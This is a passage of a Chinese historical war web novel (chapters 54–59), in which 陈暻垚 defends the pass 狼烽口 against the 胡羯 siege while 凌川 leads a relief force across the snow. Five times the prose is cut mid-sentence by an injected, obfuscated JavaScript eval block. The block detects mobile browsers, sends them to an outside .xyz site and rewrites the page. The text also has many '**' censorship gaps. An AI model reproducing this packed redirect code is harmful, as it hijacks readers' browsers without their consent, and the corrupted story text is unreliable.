木幔用于城墙之上的士兵抵挡飞石而竹幔则是用来覆盖在城墙之上以此减小飞石对 墙体的撞击损伤。 要不然,照此下去,对方仅靠投石车,便可把城墙砸塌。 随着对方投石车的介入,陈暻垚之前所有的布防全部被打乱,他的神色变得无比凝重,看向黑暗中飞来的巨石。 通过观察他发现,对方应该有五架投石车,距离城墙足有四百步的距离,弓箭根本够不到。 “梁盛!” “属下在!”满身泥土的梁盛答应了一声,猫着身子来到陈暻垚跟前。 “带几个人去把那架床**搬上来!”陈暻垚吩咐道。 “是!” 不多时,五名士兵抬着一架床**来到城墙之上,这架床**也是多年前留下的,一直没怎么使用,陈暻垚刚刚想到弓箭够不着四百步外的投石车,便想到了床**。 这架床**的射程可达四百余步,如今也只能靠它进行反击了。 很快,床**便被架好,为了防止被飞石砸中,几名士兵将木幔搬了过来,挡住**架。 三杆长矛一般巨大的**箭被放进箭槽之中,随后两名士兵转动一起转动绞盘,将**弦拉满。 当床**满弦之后,另一名士兵扳动机括,那堪比小拇指大小的弓弦将三根手腕粗细的**箭被送出,带着破空之声撕裂黑暗的夜空。 第54章 攻守厮杀! “咻! 由于黑暗中视线受阻,以至于他们只能锁定一个大致方位,能否命中得看运气。 数息之后,黑暗之中隐约传来一声惨叫,紧接着,众人明显感觉到一架投石车停了下来。 “成功了,再来!陈暻垚喜出望外,让人继续装好**箭准备发射。 几番发射下来,明显对对方的投石车形成了一定影响,只可惜,整个狼烽口就这一架床**,要不然,完全可以压制对方的投石车。 很快,又发现了一个新的问题,那就是库房之中库存的**箭只有不到两百支,按照每次使用三支,用几十次就会耗尽。 陈暻垚不得已,只能让人现做,好在库房之中有许多蜡木杆,这东西原本是制作枪矛的,**箭用的也是这种木料。 虽然短时间内来不及制作箭头,但削尖之后,杀伤力依旧很惊人。 床**的加入,也只是减缓了对方投石车的发射,可毕竟只有一架床**,别说是压制,连打成均势都不可能。 投石车狂轰了整整一个时辰,狼烽口城墙之上早已堆满了巨石,大量的木幔在飞石之下化为碎片,甚至很多飞石都砸入了城内,瓮城、营房一片狼藉。 就连坚固的城墙,在轮番轰击之下,很多地方也凹陷了进去,虽不至于倒塌,可却是一个极其危险的信号。 可最让人心痛的是,又有近三十名士兵死在巨石之下,很多昨日还在一起吹牛聊天的兄弟,转眼间变成了冰冷的尸体。 很多之前还在憧憬着打完这一仗之后,便回家看望家人,然而,这个愿望却成了永远的遗憾。 看着那些惨死的同袍,士兵们无不是杀意澎湃、目眦欲裂。 当敌军的投石车送出最后一轮飞石之后,城下的敌军阵营再次发起了冲锋。 只是这一次,对方的阵型跟最初的试探截然不同。 只见他们以一名盾牌手和一名弓箭手相互配合,缓步朝着城门逼近,盾牌手负责防御,弓箭手则是用仰射的方式,压制城墙之上的守军。 与此同时,两列骑兵从两侧杀出,以极快的速度奔袭而来,不断朝着城墙之上放箭,他们并非是来攻城的,而是干扰城墙上的守军,为步兵分担压力。 真正的攻城队伍则是被放在了最后面,只见大量士兵被分成十人一列,抬着云梯宛如一条条巨大的蜈蚣,朝着城墙逼近,此外,数架攻城车被推了出来。 数丈高的攻城车之上,被安排了精锐射手,利用弓箭压制城墙上的守军。 显 然,胡羯大军发动了总攻,看这事态,势必要一鼓作气攻破狼烽口。 陈暻垚只能将可战之兵全部调到城墙之上,毕竟,之前丁标和戊标折损了不少人手,仅靠这两标剩余的兵力,根本守不住。 “杀!” “**这些杂种,为兄弟们报仇!” 城墙之上吼声一片,弓箭、滚石、檑木纷纷派上用场。 城墙之下,几股兵力相互配合,对狼烽口发动最猛烈的进攻。 哪怕是陈暻垚,也拿起弓箭,加入了战斗。 只见他一箭射杀了一名攻城车下一名胡羯士兵后,对着旁边大吼道:“梁盛,调转床**,将攻城车上的弓箭手给**掉!” “是!” 梁盛连忙命人调转床**,将三支**箭射出,直接粉碎了攻城车上那个碉楼,躲在里面的几名弓箭手更是被**箭穿身,带飞了出去。 “干得漂亮!” 一名士兵惊呼道,可话音刚落便被一箭射中脑袋,倒地身亡。 如果说,投石车是对方攻城之前的重器,那么,这几架攻城车便是攻城战之中的利剑,一旦让其靠近,敌方的精锐便可源源不断地杀上城墙,到那个时候,狼烽口的处境将变得岌岌可危。 城下不断传来督军的大吼,那些胡羯士兵悍不畏死地朝着城墙冲来,到后面,甚至是踩着同伴的尸体往前冲。 六架攻城车缓缓逼近,下方负责推车前行的胡羯士兵**一批又有另一批补上,继续推着攻城车前进。 十余架云梯距离城墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947970|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是不足三十步,那些士兵举起盾牌,挡住上方射下来的弓箭,但,还是被不少滚石檑木砸中,可即便如此,后方立马又有士兵冲上来,扛起云梯冲向城墙。 城门方向,更是出现了一架撞门车,一根需要二人合抱的巨木架在战车上,被推着缓缓前进。 好在陈暻垚早有准备,在城外挖了不少纵横交错的沟壑,大大减缓了撞门车的前进速度。 “什长,这些**胡贼,怎么杀不完啊!”一名年轻守军对余生问道。 “你只管杀就行了,总有杀完的时候!”余生大声回答道。 “什长,你受伤了!”那名士兵看到,余生的肩膀流血不止,顿时惊呼道。 “小伤而已,大呼小叫什么?”余生瞪了他一眼。 之前被流矢射中,尽管他第一时间将宋军医分发下来的金创药粉撒了上去,可不停地开弓放箭,以至于伤口一直在流血。 忽然,城墙边缘出现一截云梯,他神色大变,喊道: “不好,胡贼的云梯搭上来了,快取火油!” 立马就有人取来火油,朝着云梯倾倒而下,紧接着,一支火把将云梯点燃。 “轰……” 下方,正举着盾牌艰难攀登云梯的胡羯士兵瞬间被大火吞没,发出撕心裂肺的惨叫声,掉落下去。 十几架云梯先后抵达城墙跟前,上面的铁钩更是死死挂在城墙的垛口上,不仅如此,云梯表面还包裹了铁皮,就算是战刀,也无法在短时间内将其砍断。 胡羯士兵则是宛如蚂蚁一般,举着盾牌,仅仅攀附在云梯之上,迅速往上爬。 好在,城墙上的守军早有对策,插满钢刀的狼牙拍被放了下去,伴随着一声声惨叫,那些胡羯士兵直接被狼牙拍上的尖刀刺穿身体掉落下去。 就算是盾牌,也挡不住狼牙拍之上尖刀,更何况面对如此沉重的狼牙拍,就算是压也能活生生将人压死。 然而,终究还是有人侥幸通过云梯爬到了城墙之上。 “杀!”耿良暴喝一声,带人直接杀了上去。 第55章 雪夜急行军 这些胡羯士兵为了便于攀爬随身只携带了一把弯刀有的刚冒头便被**刺死有的则是被乱刀**几乎没有人能在城墙之上活过十息。 “熊广带人去城门方向支援!”陈暻垚观察了一下战局发现城门方向**了大量敌军立马下令。 尽管在开战之前自己就让人用巨石将城门甬道堵死可一旦对方撞碎城门便可以疏通甬道而且这个过程完全处于死角站在城墙上根本无法阻止。 这场厮杀一直持续到天亮 期间敌人多次杀上城墙都被他们杀退最终十几架云梯要么被烧毁要么被狼牙拍和滚石檑木砸碎。 城门方向那辆巨大的撞门车虽然越过了道道沟壑却始终没能靠近城门只因城门之外被挖了一个大坑就算他们将撞门车推到跟前也无法完成撞门。 那六架攻城车上虽然插满了箭矢却相对较为完好眼看距离城门不足三十步陈暻垚果断下令。 “火油!” 顿时数十个装满火油的瓦罐被抛了出去砸在攻城车之上。 “哗啦啦……” 随着瓦罐碎开里面的火油也溅射而出顺着攻城车往下流。 城墙之上数十名弓箭手已经点好了火箭纷纷瞄准攻城车。 “放箭!” 大片火箭射向那六架攻城车仅顷刻间六架攻城车便化为六座火楼。 此举无异于是将对方最后一丝希望瓦解。 城外一名身着铠甲的魁梧将领见到这一幕也知道此次无法攻破狼烽口了。 “收兵!” 随着胡羯士兵如潮水一般撤去城墙之上响起了浪潮一般的欢呼声。 欢呼之后很多人再也支撑不住直接瘫倒在地。 很多士兵累得战斗站不稳还有一些拉弓的手指早已磨破皮但却丝毫感觉不到疼痛因为整条手臂都麻木得失去了知觉。 不少人更是靠在城墙上便沉沉睡去很快便是鼾声一片。 立马有人开始打扫战场宋军医则是带着几名士兵开始为受伤的将士们清理伤口然后上药包扎。 陈暻垚也是满脸疲惫来到城墙边往下看去只见城下一片狼藉横七竖八躺着五六百具尸体有的已经被烧焦只剩下一团黑炭。 断裂的云梯、破碎的盾牌无主的战刀、满地的箭矢还有那正在 熊熊燃烧的攻城战车,无一不在诉说着这一战的惨烈。 这一战,他们虽然胜了,但也同样付出了惨重的代价。 六十余人战死,一百多人受伤彻底失去了战斗力,剩下的三百多人也是疲惫不堪。 敌方撤军只是暂时的,后面还会有更为猛烈的进攻,陈暻垚不知道,这样的进攻,他们还能挡住几次。 “凌川,你借到援军了吗,我们快顶不住了!”陈暻垚看着远方,在心中喃喃默念道。 …… 一支骑兵宛如一条黑龙,疾驰在漠北雪原之上,将茫茫雪原撕裂成两半,身后溅起漫天飞雪。 队伍最前方,俯身疾驰的少年神色凝重,死死盯着前方。 凌川并没有带着这支军团走回头路去驰援狼烽口,而是从另一个方向出关,准备绕到狼烽口以北,从后方包夹霍元青的队伍。 因为,他很清楚狼烽口的地形,如果这一千人前往关内,根本施展不开,无法将作用发挥出来。 可若是绕到狼烽口之外,却需要多花整整一天的时间。 这一夜,他们顶着风雪前行,不敢有半点停留,因为,凌川心里很清楚,此时的狼烽口定然在经历惨烈大战,自己早到一刻,就能早一刻解除狼烽口的危机。 “校尉大人,这样急行军,很多人都吃不消了,而且,就算人能坚持,战马也受不了!”一名身形高大的汉子驱马来到凌川身边说道。 此人名叫唐岿然,曾是南系军的一名校尉,如今被凌川任命为标长。 唐岿然见凌川不说话,再度说道:“校尉大人,非是卑职贪生怕死,而是为大局着想,吾辈身为军人,就算是死也要死在冲锋的路上!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947971|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌川看了唐岿然一眼,随即转头喊道:“有谁熟悉地形,马上来见我!” 随着消息往后传递,很快一名年龄跟凌川差不多是少年策马飞奔到凌川身旁,与之并肩而驰。 “校尉大人,属下之前本就是北疆边军,来过这一带!” “可知哪里适合休整?”凌川眼睛始终盯着前方。 少年策马离队,来到一处雪丘之上极目远眺,随后迅速返回到凌川身边,说道:“东南方向二十里,有一片胡杨林!” “带路!” 一炷香之后,前方果然出现一片胡杨林,尽管树叶已经掉光,只剩下光秃秃的树枝,但也比雪地里要好得多。 进入胡杨林之后,凌川让各标长带着自己手下的一百人下马休整,不过每一标都要挑选几个有经验的到四周巡哨。 毕竟,这是在关外,胡羯又大量调兵,随时都有可能遇到胡羯的军队。 同时,凌川让各标休整的位置也颇有讲究,彼此间有一定距离,但又能相互照应。 急行军自然是不可能携带帐篷,除了兵器铠甲之外,每人只配置了三天的干粮和水,好在这胡杨林之中有大量被积雪掩埋的树叶,大家可以用来盖在身上,在一定程度上能起到保暖作用。 紧接着,凌川又将十名标长召集起来,又对带路那名少年问道:“此地距离狼烽口还有多远?” “大约两百里!”少年回答道。 “休整到申时开拔,亥时之前必须赶到狼烽口外!”凌川对各标标长说道。 “是!”众人回答道。 “届时,会有一场生死之战,我会分出一标兵力,负责烧毁敌军粮草,其余人随我一起,从后方直扑大营,打对方一个措手不及!” 凌川抬起目光从众人身上扫过,冷声说道:“机会稍纵即逝,我不希望出现任何变数!” “明白!”众人齐声回答。 就在这时,不远处传来一阵骚乱,凌川顿时一惊,转头看去竟然发现一股烟雾。 第56章 军令如山! 凌川脸色剧变,快步跑了过去,只见三名兵卒竟然在焚烧树叶取暖,虽然火势已经被其他人扑灭,但烟雾还未散尽。 “谁让你们生火的?”凌川双目圆瞪,怒声问道。 那三人也意识到自己闯祸了,吓得瑟瑟发抖。 其中一人颤声说道:“校尉大人,实在……实在是太冷了,我们都快冻僵了,所以……” 一众标长也赶了过来,满脸怒意地盯着这三人。 “谁的兵?”凌川怒声问道。 “回禀校尉大人,是我的兵!”标长刘晏上前一步,抱拳回答道。 “还记得出发前我说过什么吗?”凌川看着他问道。 “违反军令者,斩!”刘晏回答道。 “你自己处理吧!若有下次,全标皆斩!”凌川说完,便转身离开了。 那三名士卒早已是面如死灰,他们并没有当过兵,自然没有这方面的常识和经验,可之前标长已经交代所有人原地休整,不准出声,离队方便至少二人陪同。 可他们还是心存侥幸,却没想到,竟然真的让自己丢了命。 刘晏缓缓拔出腰间战刀,走向三人,眼神之中的杀意毫不掩饰地弥漫而出。 “标,标长,别,别杀我们,我们再也不敢了!” “你们可曾听过军令如山?”刘晏冷声问道,随即手起刀落,亲手将三人斩杀。 三个活生生的人,就这样被斩杀,凌川全程背对众人,他并非冷血之人,但更清楚军纪就是铁律,谁也不例外。 而且,这支队伍本就不是训练有素的军队,而是临时拉拢起来的一群**,他们之中穷凶极恶之辈不在少数,也导致了这支军队非常不可控。 他需要用这件事情来立威,让所有人明白一个道理,那就是军令如山,令行禁止! 既是以肃军纪,也是震慑他人! “挖个坑,埋了吧,记得多放些树叶免得他们冷!”刘晏抓起一把雪,擦了擦战刀上的血迹。 他没想到,这把崭新的战刀,最先饮的竟然是自己人的血。 但,他曾为军中标长,自然明白军法无情的道理。 “标长,东面发现一支骑兵小队,朝着这边而来!”一名士卒快速跑过来禀报。 纪天禄见是自己的兵,连忙问道:“是周人还是胡羯人?” “太远了,看不清!”那名士卒回答道。 “其他人原地隐蔽,唐岿然带几个人跟我来!”凌川说完率先朝着东面跑去。 很快 就来到林子边缘,果然看到八名骑兵朝着这边奔来,只不过,距离太远只能看到几个黑影,无法辨认身份。 “是胡羯人!”就在这时,身边一名神色冷漠的年轻男子开口说道。 凌川顿时一惊,问道:“你确定?” 年轻男子点了点头,“确定!” “准备战斗,等对方进入百步范围再放箭,放倒之后迅速扑上去,以最快的速度解决战斗!”凌川一边说,一边从箭囊中取出自己的破甲弓,以娴熟的手法拉上弓弦,弯弓搭箭,一气呵成。 与此同时,包括标长唐岿然在内的另外几人也都搭箭上弦,不过,凌川注意到,刚才说话那名冷漠汉子,手持的竟然是一把铁胎弓。 要知道,铁胎弓,那可是所有弓中的王者,军中能开三石弓的大有人在,能开五石弓的也不再少数,但能开七石弓的,却是屈指可数。 唯独铁胎弓,就像是一个禁忌,哪怕是那些号称臂力无双的猛将,也不敢轻易尝试。 那也注意到了凌川手中这张造型怪异的木弓,不过他并没有多问。 “用我的箭!”凌川将自己的箭壶递到他跟前,说道。 年轻男子点了点头,随即换了凌川的铁箭搭在弦上。 当对方进入一百二十步,所有人缓缓拉开弓弦。 凌川用余光看了一眼身边这汉子,只见他竟然一鼓作气将铁胎弓给拉满弦,而且面不改色,只有双臂之上膀筋虬结。 这不光是让凌川倒吸一口凉气,其他人也是一脸的不可思议。 轻松拉满铁胎弓,这是什么怪物? 终于,那八骑已经进入了百步距离,众人也都看清其长相,确实是胡羯人无疑。 “放箭!” 随着凌川口令一出,所有人同时松开弓弦。 凌川标准的是最前方那名胡羯人的眉心,然而,他的铁箭还未命中目标,另一支铁箭已经率先射中那人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947972|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心口。 “噗……” 铁箭穿胸而过,带起大片血花,紧接着,又将身后一人的身体贯穿,最终深深插入第三人的肩膀。 一箭射杀三人,而且,箭速比凌川的破甲弓还要快,哪怕是亲眼所见,也让人难以置信。 八人纷纷中箭,只不过,其中三人**之后,并未当场身死,而是怪叫一声,爬起来就往回跑。 凌川果断再次搭箭,瞄准其中一人直接将铁箭射了出去。 然而,就在他的铁箭命中那人之前,三支铁箭同时飞出,精准命中三人的后心。 只见那三人闷哼,直接栽倒在雪地里,不断抽搐。 凌川当场傻眼了,他不是没见过同时射出三箭的,但同时射出三箭,还有这等准度的,却是闻所未闻。 最重要的是,他用的还是铁胎弓。 “打扫战场!”唐岿然最先反应过来,带人跑了出去,有的牵马有的负责把尸体拉入树林之中,有的则是迅速处理血迹。 “好箭法!你叫什么名字?”凌川满脸赞赏地看向身边的年轻男子,问道。 “聂星寒!” 凌川暗道,这名字跟性子一样冷漠,“以后,你就跟在我身边吧!” 聂星寒点了点头,算是答应,对于性子如此冷漠的人,凌川也很无奈。 不过,此人的本事却深深让他佩服,简直就是天生的神射手,这种人要是放在战场上,关键时刻可抵万军。 “校尉大人,卑职觉得,这支小队应该是被刚才的烟吸引,过来查看情况,附近难保没有大批胡羯军队,要不,我带几个人去看看情况?” 唐岿然不愧是做过校尉的人,经验相当丰富。 凌川点了点头,说道:“好,如果发现情况立马来报,切莫打草惊蛇。” 唐岿然点了点头说道:“校尉大人放心,卑职明白!” 随即,他便与另外几人换上这几名胡羯士兵的铠甲,骑上他们的战马,沿着马蹄印往回走。 不到一炷香的时间,唐岿然等人返回。 “校尉大人,我等一直沿着马蹄印走了五里,没有发现敌军踪迹!” 凌川拍了拍他的肩膀,说道:“辛苦了,休息吧!” 第57章 死战不退! 凌川回到林中准备休息,发现唐岿然竟然跟了上来,见他欲言又止的样子,凌川开口问道:“有事吗? “校尉大人,属下想跟您打听个事情! “你想问什么?凌川看着他,问道。 “属下想知道,镇守狼烽口的是不是陈暻垚?唐岿然说道。 凌川先是一愣,随即瞬间明白过来,唐岿然之前是南系军校尉,也就是苏老将军麾下,陈暻垚也曾跟随苏老将军,二人认识也很正常。 “你是因为苏老将军之事被牵连,才被发配到死字营的吧?凌川没有正面回答他,而是反问道。 唐岿然眼底涌现出一丝悲愤与不甘,点头道:“属下曾是苏大将军的亲兵营校尉,半年前,苏大将军被朝中奸人陷害,抄家处死,南系军中苏大将军的一众心腹也都尽数遭受牵连,要么被问斩,要么被发配到各地为奴,如今这队伍中,便有近二百人出自我们南系军! 凌川闻言,顿时大惊失色,难怪有那么多人曾在军中服役,原来,大部分都来自南系军。 堂堂战兵,为国戍守边关,却落得如此下场,实在是令人气愤。 “放心吧,天理昭昭,苏大将军会有沉冤得雪的那一天,陷害他的人,也会遭受报应!凌川沉声说道。 双目通红的唐岿然用力点了点头,问道:“陈暻垚还好吗? 凌川重重叹息一声,说道:“我不知道,如果我们能及时赶到,应该还能见到他!到时候,我再送你一份惊喜! “陈暻垚可不是孬种,我相信他一定能坚持到我们赶过去的! 两个时辰后,凌川让各标集结队伍,清点人马准备出发,直奔狼烽口。 凌川叫来之前带路那名少年,说道:“接下来你继续带路! “放心校尉大人,以往巡边我经常来,就算闭着眼睛也能把大家带到狼烽口!少年拍着胸口保证道。 对于这个年龄跟自己相仿的少年,凌川十分欣赏,问道:“叫什么名字? “大人叫我苍蝇就好!少年腼腆一笑,回答道。 “苍鹰,名字倒是挺霸气的嘛!凌川笑道。 就在这时,一旁的洛青云接过话题笑道:“校尉大人,这小子叫史尚飞,外号苍蝇! 凌川先是一愣,随即立马明白过来,想笑却只能忍着。 他忍住了,可唐岿然、刘晏等几名标长却忍不住捧腹大笑。 “屎上飞,哈哈哈哈…… “苍蝇,这谁给你起的名 ,想笑死我啊!” 众人笑得前仰后合,都要跌**背的样子。 “别笑了,赶路要紧!”凌川呵斥了一声,随即便一马当先疾驰而出,其他人并不知道,凌川也是实在憋不住了,一个人跑到最前面笑。 …… 此时的狼烽口外,胡羯大军再次兵临城下,跟昨夜一样,依然是先用投石车对狼烽口进行狂轰滥炸。 好在,这一次陈暻垚让人制作了足够多的木幔,此外,还用竹条编织了许多竹幔,将其用铁链绑住,吊在城墙外,此举可以大大减轻敌军投来的巨石对城墙造成的损坏。 可即便如此,还是有十余名守军被飞石砸死,但相比起昨夜的惨烈,已经好很多了。 紧接着,又是骑兵与步兵相互配合,用云梯、攻城车等器械发起冲锋。 历经昨夜一战,狼烽口的守军们已经有了经验,弓箭手、投石手、投木手等彼此配合,有条不紊地挡住了敌人一次又一次的进攻。 奈何,敌人仿佛是接到了死命令一般,悍不畏死地往上冲,好几次都有大批胡羯士兵冲上城墙,双方短兵相接,浴血厮杀。 眼看狼烽口就要失守,好在陈暻垚亲自带人一次次将敌人杀退。 连番血战下来,双方都付出了惨重的代价,就连陈暻垚也受伤了,手臂被一刀劈中,若非有铠甲抵挡,这一刀足矣将他整条手臂斩断。 不得不说,凌川的五行锥阵起到了巨大作用,哪怕是短兵相接的情况下,他们也丝毫不落下风。 这也让胡羯士兵很是诧异,在以往的认知中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947973|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周军都是些不堪一击的土鸡瓦狗,像刚才那种局面,只要登上城墙,便会呈现出一面倒的**,周军将完全没用抵抗之力。 然而,预想中那种被吓得腿软一哄而散的局面并未出现,他们见到的是一个个悍不畏死的周军,双眼血红地扑上来与他们展开激烈厮杀,死战不退。 这与他们以往交手的周军截然不同,甚至让他们怀疑,是不是北系军调了一支精锐前来镇守狼烽口。 几番猛攻无果,反而是平白折损了几百精兵,胡羯那几名将领虽心有不甘,可最终还是只能无奈撤回营地。 “废物,折损了七百精兵,竟拿不下一个小小的狼烽口,要你们何用?”中军大帐之中霍元青怒不可遏,指着几名领军将领破口大骂。 下方,几名将领瑟瑟发抖,其中一人满脸憋屈道:“将军,非是我等无能,实在是那狼烽口太过于险要,人太多了施展不开,人太少又难以形成攻势!” “是啊将军,狼烽口只有一面城墙,周军集中兵力死守,我等之前好几次都登上城墙了,却被打退了回来!” “而且,对方还在城外挖了很多沟壕,我们的攻城车每前进一步都是拿士兵的尸体在填!” 可在霍元青听起来,这些解释完全就是狡辩,只见他满脸杀意地看着这几人,说道:“你们的脑袋就先寄存在你们脖子上,今夜,你们亲自带队,要么攻下狼烽口,要么你们就死在狼烽口!” 霍元青心里很清楚,自己的时间不多了,这一次,主帅可是下了血本,如果自己不能尽快拿下狼烽口,扫平南征路上的这枚钉子,后果自己根本承受不起。 狼烽口守军血战三日不卸甲,所有士兵早已是疲惫不堪,许多人都是带伤坚守。 吃饭喝水都是送上城墙,哪怕敌人退兵了他们也不能立马休息,而是要抓紧时间清理清理城墙上的巨石,修补木幔等防御工事。 好在这些巨石都能用得上,倒也不用搬离。 城楼早已坍塌,城墙已是千疮百孔,城内营房更是一片狼藉,宛如废墟。 第58章 男儿无惧生死! 陈暻垚站在城墙上,那双布满血丝的眼睛看着远处胡羯大军的营帐,也不知在想些什么。 “校尉大人,你都一天一夜没合眼了,快休息下吧!就在这时,宋军医给陈暻垚包扎好伤口之后,轻声说道。 陈暻垚点了点头,问道:“士兵们的伤怎么样了? 宋军医长叹了一口气,说道:“能救的都救了,有些根本来不及救! 事实上,他一个人根本忙不过来,好在苏璃将那些跟她一样罪眷召集起来,给宋军医打下手,可即便如此,很多人还是因为抢救不及时而死去。 “辛苦了,您老先去休息会吧! 不多时,苏璃提着一桶水来到城墙上分给士兵们。 “陈大哥,喝口水吧! 陈暻垚接过水瓢,喝了几口,说道:“谢谢! “陈大哥太客气了,咱们女儿家虽上不了战场,但也能帮着做些力所能及的事情!苏璃接过水瓢,见周围没有其他人,小声问道:“援军和粮草有消息了吗? 苏璃问的不仅仅是援军和粮草,还有她牵肠挂肚的丈夫。 陈暻垚摇了摇头,说道:“多半是来不了了! 随即,他转过目光,看了苏璃一眼,说道:“我已经让人去通知狼烽口的百姓,让大家准备撤离,天黑之前你也跟他们一起走吧! 苏璃摇了摇头,说道:“半年前我家破人亡,如今的狼烽口便是我的家,我逃又能逃到哪里去呢? “我们是军人,我们的使命就是与狼烽口共存亡,但你不一样,听我的,活着比什么都强!陈暻垚看着她郑重说道。 “我答应过相公,会在这里等他!苏璃的声音不大,可语气却充满了坚定。 陈暻垚内心很是复杂,**自己是应该为苏璃的倔强而生气,还是该为她找到可托付终生之人而感到高兴。 苏璃离开后,陈暻垚让人把余生叫过来。 “校尉大人,你找我?肩上缠着布条的余生快步来到陈暻垚跟前。 “余生,我交给你一项任务,不许告诉任何人! 余生见他语气如此严肃,连忙正色道:“大人放心! 陈暻垚点了点头,说道:“今天晚上,你带着你们标长夫人,随百姓们一起撤离! “啊!余生一脸诧异。 “这是命令,也是我给你下达的最后一条命令!陈暻垚盯着他说道。 “属下,记住了!余生深吸 一口气,沉声回答道。 余生离开后,陈暻垚也靠在城墙上闭目养神。 如果不出意外,今天晚上还有一场恶战要打。 毕竟对于胡羯人而言,天黑更有利于他们攻城,因为,城墙上的视线范围有限,更有利于行动。 反之,守军只能在城墙上,完全就是固定靶子。 当夕阳的最后一缕余晖消失在天际,夜幕悄然降临。 陈暻垚让人将所剩不多的军粮全部用掉,甚至还杀了两匹战马,做好之后送上城墙。 如无意外,今晚便是最后一战了,无论胜败,狼烽口都注定守不住,至少也要让兄弟们吃饱了上路不是? 也不知道后世史书会如何写自己,是死战不退的民族英雄,还是让丢了国门的千古罪人。 可回头一想,自己这样的小人物,或许连让史**上那么寥寥一笔的资格都没有,瞎操那心作甚? 不多时,亲兵们搬来几十坛酒,分发给所有士兵。 所有人都吃得很开心,尽管他们心里都清楚,吃完这顿饭,或许就只能到下面吃下一顿了。 陈暻垚端起一碗酒,面对众**声说道:“有人说,对于军人而言,战死沙场便是最好的归宿。也有人说,男儿无惧生死,但求死而无憾。” “我不知道,死在这里值不值,或许,过些年帝国将不会记得我们,但我相信,狼烽口的百姓会记住我们,这片我们用生命守护的热土,会记住我们!” “兄弟们,如无意外,今日便是我们最后一次并肩作战了,或许,我们所有人都将死在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947974|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,我想问你们,怕不怕?”陈暻垚的声音响彻狼烽口。 “怕个鸟,大不了就是一死,这两日早就杀够本了,再多杀一个就是赚一个!”熊广满脸豪情说道。 “校尉大人,我一家都**贼杀了,我参军就是为了给他们报仇的,这次我杀了十几名胡贼,就算是下去见到家人,也无憾了!”一名肩膀淌血的士兵大声说道。 “我哥三年前就战死在这狼烽口,今日我若死在这里,下去也可以骄傲地跟他说,我没给他丢脸!” “脑袋掉了碗大个疤,无非就是以命换命!” “能与这么多兄弟同袍死在一起,黄泉路上也不孤单!” 见所有人群情激昂、生死看淡,陈暻垚双目通红,“好,喝了这碗酒,咱们杀他个痛快,若是觉得不过瘾,到了地府,咱们再杀他一遍!” “杀,杀,杀……” 所有人齐声大喊,随即将碗中酒一饮而尽。 将有必死之心,士无贪生之念。 尽管他们个个带伤,但战意却是飙升到了一个前所未有的高度。 这样的军队,哪怕战至最后一人,也敢挡在万军之前,只要还有一人,狼烽口就不会丢! 深夜! 胡羯主力大军再次出现在狼烽口外,身着连环锁子甲的霍元青立于正前方,身后兵甲森然、旌旗蔽野。 霍元青亲自领兵,一众将士倾巢而出,势必要在今夜攻下狼烽口。 原本的两千步兵已折损七百余,剩下的一千多被分成三支队伍,第一队五百人持登城云梯,第二队三百人负责攻城战车,第三队三百人负责撞门车直取城门。 剩余一百人则是操控投石车,对狼烽口实施狂轰滥炸。 至于那一千轻骑,则基本上没有战损,毕竟他们此前只是干扰城墙之上的守军,并未参与到实质性攻城。 两名魁梧壮汉立于霍元青左右,宛如两尊铁塔,面色凶恶,目露凶光,正是拓跋桀派给霍元青的两大高手。 秃满和孛罗。 第59章 踏平狼烽口! 第059章 孛罗生得是鸱目虎吻 